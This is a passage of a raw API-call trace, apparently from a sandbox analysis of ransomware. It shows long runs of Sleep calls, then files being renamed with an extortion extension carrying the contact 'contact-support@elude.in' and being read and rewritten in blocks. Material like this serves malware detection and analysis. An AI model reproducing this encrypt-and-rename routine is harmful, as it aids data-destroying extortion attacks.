(dwMilliseconds=0x1) [0068.975] Sleep (dwMilliseconds=0x1) [0069.049] Sleep (dwMilliseconds=0x1) [0069.104] Sleep (dwMilliseconds=0x1) [0069.159] Sleep (dwMilliseconds=0x1) [0069.197] Sleep (dwMilliseconds=0x1) [0069.250] Sleep (dwMilliseconds=0x1) [0069.291] Sleep (dwMilliseconds=0x1) [0069.379] Sleep (dwMilliseconds=0x1) [0069.440] Sleep (dwMilliseconds=0x1) [0069.478] Sleep (dwMilliseconds=0x1) [0069.528] Sleep (dwMilliseconds=0x1) [0069.690] Sleep (dwMilliseconds=0x1) [0069.918] Sleep (dwMilliseconds=0x1) [0070.147] Sleep (dwMilliseconds=0x1) [0070.262] Sleep (dwMilliseconds=0x1) [0070.383] Sleep (dwMilliseconds=0x1) [0070.533] Sleep (dwMilliseconds=0x1) [0070.870] Sleep (dwMilliseconds=0x1) [0071.568] Sleep (dwMilliseconds=0x1) [0071.943] Sleep (dwMilliseconds=0x1) [0072.429] Sleep (dwMilliseconds=0x1) [0072.607] Sleep (dwMilliseconds=0x1) [0072.799] Sleep (dwMilliseconds=0x1) [0072.907] Sleep (dwMilliseconds=0x1) [0073.098] Sleep (dwMilliseconds=0x1) [0073.608] Sleep (dwMilliseconds=0x1) [0073.763] Sleep (dwMilliseconds=0x1) [0073.935] Sleep (dwMilliseconds=0x1) [0074.044] Sleep (dwMilliseconds=0x1) [0074.180] Sleep (dwMilliseconds=0x1) [0074.382] Sleep (dwMilliseconds=0x1) [0074.670] Sleep (dwMilliseconds=0x1) [0074.773] Sleep (dwMilliseconds=0x1) [0074.847] Sleep (dwMilliseconds=0x1) [0074.909] Sleep (dwMilliseconds=0x1) [0075.002] Sleep (dwMilliseconds=0x1) [0075.058] Sleep (dwMilliseconds=0x1) [0075.108] Sleep (dwMilliseconds=0x1) [0075.155] Sleep (dwMilliseconds=0x1) [0075.218] Sleep (dwMilliseconds=0x1) [0075.262] Sleep (dwMilliseconds=0x1) [0075.306] Sleep (dwMilliseconds=0x1) [0075.360] Sleep (dwMilliseconds=0x1) [0075.423] Sleep (dwMilliseconds=0x1) [0075.511] Sleep (dwMilliseconds=0x1) [0075.570] Sleep (dwMilliseconds=0x1) [0075.610] Sleep (dwMilliseconds=0x1) [0075.693] Sleep (dwMilliseconds=0x1) [0075.748] Sleep (dwMilliseconds=0x1) [0075.789] Sleep (dwMilliseconds=0x1) [0075.834] Sleep (dwMilliseconds=0x1) [0076.045] Sleep (dwMilliseconds=0x1) [0076.062] Sleep (dwMilliseconds=0x1) [0076.083] Sleep (dwMilliseconds=0x1) [0076.106] Sleep (dwMilliseconds=0x1) [0076.187] Sleep (dwMilliseconds=0x1) [0076.391] Sleep (dwMilliseconds=0x1) [0076.531] Sleep (dwMilliseconds=0x1) [0076.671] Sleep (dwMilliseconds=0x1) [0076.771] Sleep (dwMilliseconds=0x1) [0076.809] Sleep (dwMilliseconds=0x1) [0076.842] Sleep (dwMilliseconds=0x1) [0076.871] Sleep (dwMilliseconds=0x1) [0076.920] Sleep (dwMilliseconds=0x1) [0076.985] Sleep (dwMilliseconds=0x1) [0077.065] Sleep (dwMilliseconds=0x1) [0077.155] Sleep (dwMilliseconds=0x1) [0077.222] Sleep (dwMilliseconds=0x1) [0077.288] Sleep (dwMilliseconds=0x1) [0077.360] Sleep (dwMilliseconds=0x1) [0077.412] Sleep (dwMilliseconds=0x1) [0077.521] Sleep (dwMilliseconds=0x1) [0077.597] Sleep (dwMilliseconds=0x1) [0077.649] Sleep (dwMilliseconds=0x1) [0077.688] Sleep (dwMilliseconds=0x1) [0077.736] Sleep (dwMilliseconds=0x1) [0077.782] Sleep (dwMilliseconds=0x1) [0077.833] Sleep (dwMilliseconds=0x1) [0077.856] Sleep (dwMilliseconds=0x1) [0077.912] Sleep (dwMilliseconds=0x1) [0077.957] Sleep (dwMilliseconds=0x1) [0077.982] Sleep (dwMilliseconds=0x1) [0078.061] Sleep (dwMilliseconds=0x1) [0078.090] Sleep (dwMilliseconds=0x1) [0078.120] Sleep (dwMilliseconds=0x1) [0078.132] Sleep (dwMilliseconds=0x1) [0078.195] Sleep (dwMilliseconds=0x1) [0078.222] Sleep (dwMilliseconds=0x1) [0078.240] Sleep (dwMilliseconds=0x1) [0078.251] Sleep (dwMilliseconds=0x1) [0078.274] Sleep (dwMilliseconds=0x1) [0078.284] Sleep (dwMilliseconds=0x1) [0078.315] Sleep (dwMilliseconds=0x1) [0078.358] Sleep (dwMilliseconds=0x1) [0078.381] Sleep (dwMilliseconds=0x1) [0078.449] Sleep (dwMilliseconds=0x1) [0078.531] Sleep (dwMilliseconds=0x1) [0078.564] Sleep (dwMilliseconds=0x1) [0078.609] Sleep (dwMilliseconds=0x1) [0078.627] Sleep (dwMilliseconds=0x1) [0078.645] Sleep (dwMilliseconds=0x1) [0078.660] Sleep (dwMilliseconds=0x1) [0078.675] Sleep (dwMilliseconds=0x1) [0078.705] Sleep (dwMilliseconds=0x1) [0078.724] Sleep (dwMilliseconds=0x1) [0078.735] Sleep (dwMilliseconds=0x1) [0078.757] Sleep (dwMilliseconds=0x1) [0078.767] Sleep (dwMilliseconds=0x1) [0078.789] Sleep (dwMilliseconds=0x1) [0078.834] Sleep (dwMilliseconds=0x1) [0078.890] Sleep (dwMilliseconds=0x1) [0078.929] Sleep (dwMilliseconds=0x1) [0078.943] Sleep (dwMilliseconds=0x1) [0078.962] Sleep (dwMilliseconds=0x1) [0078.976] Sleep (dwMilliseconds=0x1) [0079.005] Sleep (dwMilliseconds=0x1) [0079.029] Sleep (dwMilliseconds=0x1) [0079.052] Sleep (dwMilliseconds=0x1) [0079.077] Sleep (dwMilliseconds=0x1) [0079.100] Sleep (dwMilliseconds=0x1) [0079.114] Sleep (dwMilliseconds=0x1) [0079.131] Sleep (dwMilliseconds=0x1) [0079.157] Sleep (dwMilliseconds=0x1) [0079.227] Sleep (dwMilliseconds=0x1) [0079.248] Sleep (dwMilliseconds=0x1) [0079.272] Sleep (dwMilliseconds=0x1) [0079.284] Sleep (dwMilliseconds=0x1) [0079.303] Sleep (dwMilliseconds=0x1) [0079.313] Sleep (dwMilliseconds=0x1) [0079.332] Sleep (dwMilliseconds=0x1) [0079.345] Sleep (dwMilliseconds=0x1) [0079.364] Sleep (dwMilliseconds=0x1) [0079.375] Sleep (dwMilliseconds=0x1) [0079.400] Sleep (dwMilliseconds=0x1) [0079.414] Sleep (dwMilliseconds=0x1) [0079.426] Sleep (dwMilliseconds=0x1) [0079.444] Sleep (dwMilliseconds=0x1) [0079.519] Sleep (dwMilliseconds=0x1) [0079.540] Sleep (dwMilliseconds=0x1) [0079.549] Sleep (dwMilliseconds=0x1) [0079.598] Sleep (dwMilliseconds=0x1) [0079.613] Sleep (dwMilliseconds=0x1) [0079.626] Sleep (dwMilliseconds=0x1) [0079.644] Sleep (dwMilliseconds=0x1) [0079.658] Sleep (dwMilliseconds=0x1) [0079.678] Sleep (dwMilliseconds=0x1) [0079.693] Sleep (dwMilliseconds=0x1) [0079.735] Sleep (dwMilliseconds=0x1) [0079.804] Sleep (dwMilliseconds=0x1) [0079.812] Sleep (dwMilliseconds=0x1) [0079.835] Sleep (dwMilliseconds=0x1) [0079.886] Sleep (dwMilliseconds=0x1) [0079.900] Sleep (dwMilliseconds=0x1) [0079.913] Sleep (dwMilliseconds=0x1) [0079.935] Sleep (dwMilliseconds=0x1) [0079.988] Sleep (dwMilliseconds=0x1) [0080.046] Sleep (dwMilliseconds=0x1) [0080.072] Sleep (dwMilliseconds=0x1) [0080.082] Sleep (dwMilliseconds=0x1) [0080.101] Sleep (dwMilliseconds=0x1) [0080.135] Sleep (dwMilliseconds=0x1) [0080.162] Sleep (dwMilliseconds=0x1) [0080.171] Sleep (dwMilliseconds=0x1) [0080.239] Sleep (dwMilliseconds=0x1) [0080.259] Sleep (dwMilliseconds=0x1) [0080.270] Sleep (dwMilliseconds=0x1) [0080.284] Sleep (dwMilliseconds=0x1) [0080.303] Sleep (dwMilliseconds=0x1) [0080.314] Sleep (dwMilliseconds=0x1) [0080.344] Sleep (dwMilliseconds=0x1) [0080.360] Sleep (dwMilliseconds=0x1) [0080.386] Sleep (dwMilliseconds=0x1) [0080.391] Sleep (dwMilliseconds=0x1) [0080.411] Sleep (dwMilliseconds=0x1) [0080.425] Sleep (dwMilliseconds=0x1) [0080.443] Sleep (dwMilliseconds=0x1) [0080.501] Sleep (dwMilliseconds=0x1) [0080.528] Sleep (dwMilliseconds=0x1) [0080.553] Sleep (dwMilliseconds=0x1) [0080.562] Sleep (dwMilliseconds=0x1) [0080.587] Sleep (dwMilliseconds=0x1) [0080.600] Sleep (dwMilliseconds=0x1) [0080.619] Sleep (dwMilliseconds=0x1) [0080.655] Sleep (dwMilliseconds=0x1) [0080.678] Sleep (dwMilliseconds=0x1) [0080.705] Sleep (dwMilliseconds=0x1) [0080.721] Sleep (dwMilliseconds=0x1) [0080.767] Sleep (dwMilliseconds=0x1) [0080.786] Sleep (dwMilliseconds=0x1) [0080.806] Sleep (dwMilliseconds=0x1) [0080.818] Sleep (dwMilliseconds=0x1) [0080.837] Sleep (dwMilliseconds=0x1) [0080.846] Sleep (dwMilliseconds=0x1) [0080.890] Sleep (dwMilliseconds=0x1) [0080.917] Sleep (dwMilliseconds=0x1) [0080.923] Sleep (dwMilliseconds=0x1) [0080.941] Sleep (dwMilliseconds=0x1) [0080.958] Sleep (dwMilliseconds=0x1) [0080.977] Sleep (dwMilliseconds=0x1) [0080.990] Sleep (dwMilliseconds=0x1) [0081.003] Sleep (dwMilliseconds=0x1) [0081.027] Sleep (dwMilliseconds=0x1) [0081.034] Sleep (dwMilliseconds=0x1) [0081.050] Sleep (dwMilliseconds=0x1) [0081.285] Sleep (dwMilliseconds=0x1) [0081.433] Sleep (dwMilliseconds=0x1) [0081.521] Sleep (dwMilliseconds=0x1) [0081.540] Sleep (dwMilliseconds=0x1) [0081.561] Sleep (dwMilliseconds=0x1) [0081.583] Sleep (dwMilliseconds=0x1) [0081.598] Sleep (dwMilliseconds=0x1) [0081.614] Sleep (dwMilliseconds=0x1) [0081.627] Sleep (dwMilliseconds=0x1) [0081.666] Sleep (dwMilliseconds=0x1) [0081.681] Sleep (dwMilliseconds=0x1) [0081.693] Sleep (dwMilliseconds=0x1) [0081.708] Sleep (dwMilliseconds=0x1) [0081.759] Sleep (dwMilliseconds=0x1) [0081.774] Sleep (dwMilliseconds=0x1) [0081.791] Sleep (dwMilliseconds=0x1) [0081.831] Sleep (dwMilliseconds=0x1) [0081.850] Sleep (dwMilliseconds=0x1) [0081.884] Sleep (dwMilliseconds=0x1) [0081.895] Sleep (dwMilliseconds=0x1) [0081.909] Sleep (dwMilliseconds=0x1) [0081.928] Sleep (dwMilliseconds=0x1) [0081.941] Sleep (dwMilliseconds=0x1) [0081.968] Sleep (dwMilliseconds=0x1) [0081.986] Sleep (dwMilliseconds=0x1) [0082.004] Sleep (dwMilliseconds=0x1) [0082.035] Sleep (dwMilliseconds=0x1) [0082.051] Sleep (dwMilliseconds=0x1) [0082.067] Sleep (dwMilliseconds=0x1) [0082.113] Sleep (dwMilliseconds=0x1) [0082.131] Sleep (dwMilliseconds=0x1) [0082.153] Sleep (dwMilliseconds=0x1) [0082.198] Sleep (dwMilliseconds=0x1) [0082.212] Sleep (dwMilliseconds=0x1) [0082.235] Sleep (dwMilliseconds=0x1) [0082.256] Sleep (dwMilliseconds=0x1) [0082.280] Sleep (dwMilliseconds=0x1) [0082.291] Sleep (dwMilliseconds=0x1) [0082.312] Sleep (dwMilliseconds=0x1) [0082.368] Sleep (dwMilliseconds=0x1) [0082.421] Sleep (dwMilliseconds=0x1) [0082.537] Sleep (dwMilliseconds=0x1) [0082.592] Sleep (dwMilliseconds=0x1) [0082.633] Sleep (dwMilliseconds=0x1) [0082.688] Sleep (dwMilliseconds=0x1) [0082.725] Sleep (dwMilliseconds=0x1) [0082.779] Sleep (dwMilliseconds=0x1) [0082.819] Sleep (dwMilliseconds=0x1) [0082.873] Sleep (dwMilliseconds=0x1) [0082.913] Sleep (dwMilliseconds=0x1) [0082.971] Sleep (dwMilliseconds=0x1) [0083.012] Sleep (dwMilliseconds=0x1) [0083.058] Sleep (dwMilliseconds=0x1) [0083.100] Sleep (dwMilliseconds=0x1) [0083.154] Sleep (dwMilliseconds=0x1) [0083.197] Sleep (dwMilliseconds=0x1) [0083.246] Sleep (dwMilliseconds=0x1) [0083.290] Sleep (dwMilliseconds=0x1) [0083.341] Sleep (dwMilliseconds=0x1) [0083.382] Sleep (dwMilliseconds=0x1) [0083.439] Sleep (dwMilliseconds=0x1) [0083.700] Sleep (dwMilliseconds=0x1) [0083.754] Sleep (dwMilliseconds=0x1) [0083.799] Sleep (dwMilliseconds=0x1) [0083.916] Sleep (dwMilliseconds=0x1) [0084.015] Sleep (dwMilliseconds=0x1) [0084.089] Sleep (dwMilliseconds=0x1) [0084.205] Sleep (dwMilliseconds=0x1) [0084.340] Sleep (dwMilliseconds=0x1) [0084.741] Sleep (dwMilliseconds=0x1) [0084.807] Sleep (dwMilliseconds=0x1) [0084.880] Sleep (dwMilliseconds=0x1) [0084.957] Sleep (dwMilliseconds=0x1) [0085.048] Sleep (dwMilliseconds=0x1) [0085.122] Sleep (dwMilliseconds=0x1) [0085.181] Sleep (dwMilliseconds=0x1) [0085.343] Sleep (dwMilliseconds=0x1) [0085.393] Sleep (dwMilliseconds=0x1) [0085.733] Sleep (dwMilliseconds=0x1) [0085.834] Sleep (dwMilliseconds=0x1) [0085.960] Sleep (dwMilliseconds=0x1) [0086.079] Sleep (dwMilliseconds=0x1) [0086.190] Sleep (dwMilliseconds=0x1) [0086.233] Sleep (dwMilliseconds=0x1) [0086.297] Sleep (dwMilliseconds=0x1) [0086.349] Sleep (dwMilliseconds=0x1) [0086.591] Sleep (dwMilliseconds=0x1) [0086.894] Sleep (dwMilliseconds=0x1) [0087.094] Sleep (dwMilliseconds=0x1) [0087.468] Sleep (dwMilliseconds=0x1) [0089.108] Sleep (dwMilliseconds=0x1) [0090.328] Sleep (dwMilliseconds=0x1) [0091.760] Sleep (dwMilliseconds=0x1) [0093.374] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi", len=0x2c | out: pbstr=0x37fff7c*="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 1 [0093.374] GetProcessHeap () returned 0x630000 [0093.374] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x663948, Size=0x88) returned 0x6a54c8 [0093.375] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0093.402] CloseHandle (hObject=0x6ec) returned 1 [0093.402] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.402] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.403] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETFX_~1.FIR")) returned 0x6d5440 [0093.403] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0093.403] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0093.403] GetProcessHeap () returned 0x630000 [0093.403] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7179828 [0093.404] GetProcessHeap () returned 0x630000 [0093.404] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7184c58 [0093.404] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.404] ReadFile (in: hFile=0x6ec, lpBuffer=0x7179828, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7179828*, lpNumberOfBytesRead=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.534] GetProcessHeap () returned 0x630000 [0100.534] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0100.534] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.534] WriteFile (in: hFile=0x6ec, lpBuffer=0x7184c58*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7184c58*, lpNumberOfBytesWritten=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0100.534] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.534] WriteFile (in: hFile=0x6ec, lpBuffer=0x7190057*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7190057*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0100.554] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.554] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0100.554] CloseHandle (hObject=0x6ec) returned 1 [0101.396] GetProcessHeap () returned 0x630000 [0101.396] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7184c58 | out: hHeap=0x630000) returned 1 [0101.397] GetProcessHeap () returned 0x630000 [0101.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7179828 | out: hHeap=0x630000) returned 1 [0101.398] GetProcessHeap () returned 0x630000 [0101.398] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0101.398] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0101.399] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x2623c34, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x79024, dwReserved0=0xc507496, dwReserved1=0x7179820, cFileName="netfx_Extended_x86.msi.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="NETFX_~1.FIR")) returned 0x6d5280 [0101.399] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0101.399] Sleep (dwMilliseconds=0x1) [0102.011] Sleep (dwMilliseconds=0x1) [0102.333] Sleep (dwMilliseconds=0x1) [0102.525] Sleep (dwMilliseconds=0x1) [0102.774] Sleep (dwMilliseconds=0x1) [0102.988] Sleep (dwMilliseconds=0x1) [0103.187] Sleep (dwMilliseconds=0x1) [0103.299] Sleep (dwMilliseconds=0x1) [0103.548] Sleep (dwMilliseconds=0x1) [0105.030] Sleep (dwMilliseconds=0x1) [0106.968] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Logs\\System.evtx", len=0x13 | out: pbstr=0x37fff7c*="C:\\Logs\\System.evtx") returned 1 [0106.968] GetProcessHeap () returned 0x630000 [0106.968] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6000, Size=0x28) returned 0x699888 [0106.968] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0106.969] CloseHandle (hObject=0x67c) returned 1 [0106.969] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0106.970] MoveFileW (lpExistingFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), lpNewFileName="C:\\Logs\\System.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\system.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0106.970] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0106.970] FindFirstFileW (in: lpFileName="C:\\Logs\\System.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffc6c | out: lpFindFileData=0x37ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYSTEM~1.FIR")) returned 0x6d5540 [0106.970] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0106.970] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\system.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0106.970] GetProcessHeap () returned 0x630000 [0106.970] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72069b0 [0106.971] GetProcessHeap () returned 0x630000 [0106.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7211de0 [0106.971] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.972] ReadFile (in: hFile=0x67c, lpBuffer=0x72069b0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72069b0*, lpNumberOfBytesRead=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.726] GetProcessHeap () returned 0x630000 [0113.726] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0113.726] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.726] WriteFile (in: hFile=0x67c, lpBuffer=0x7211de0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7211de0*, lpNumberOfBytesWritten=0x37fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.726] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.727] WriteFile (in: hFile=0x67c, lpBuffer=0x721d1df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x721d1df*, lpNumberOfBytesWritten=0x37fff0c*=0x20, lpOverlapped=0x0) returned 1 [0113.729] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.729] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x37fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x37fff0c*=0x4, lpOverlapped=0x0) returned 1 [0113.729] CloseHandle (hObject=0x67c) returned 1 [0113.756] GetProcessHeap () returned 0x630000 [0113.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7211de0 | out: hHeap=0x630000) returned 1 [0113.756] GetProcessHeap () returned 0x630000 [0113.756] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72069b0 | out: hHeap=0x630000) returned 1 [0113.757] GetProcessHeap () returned 0x630000 [0113.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0113.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x37fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0113.758] FindFirstFileW (in: lpFileName="C:\\Logs\\System.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x37ffcc4 | out: lpFindFileData=0x37ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9bf934f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x111024, dwReserved0=0xc507496, dwReserved1=0x72069a8, cFileName="System.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SYSTEM~1.FIR")) returned 0x6d5240 [0113.758] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0113.758] Sleep (dwMilliseconds=0x1) [0114.314] Sleep (dwMilliseconds=0x1) [0114.884] Sleep (dwMilliseconds=0x1) [0115.140] Sleep (dwMilliseconds=0x1) [0115.499] Sleep (dwMilliseconds=0x1) [0115.907] Sleep (dwMilliseconds=0x1) [0117.154] Sleep (dwMilliseconds=0x1) [0117.170] Sleep (dwMilliseconds=0x1) [0117.185] Sleep (dwMilliseconds=0x1) [0117.563] Sleep (dwMilliseconds=0x1) [0117.655] Sleep (dwMilliseconds=0x1) [0117.678] Sleep (dwMilliseconds=0x1) [0117.687] Sleep (dwMilliseconds=0x1) [0117.703] Sleep (dwMilliseconds=0x1) [0117.718] Sleep (dwMilliseconds=0x1) [0123.361] SysReAllocStringLen (in: pbstr=0x37fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", len=0x68 | out: 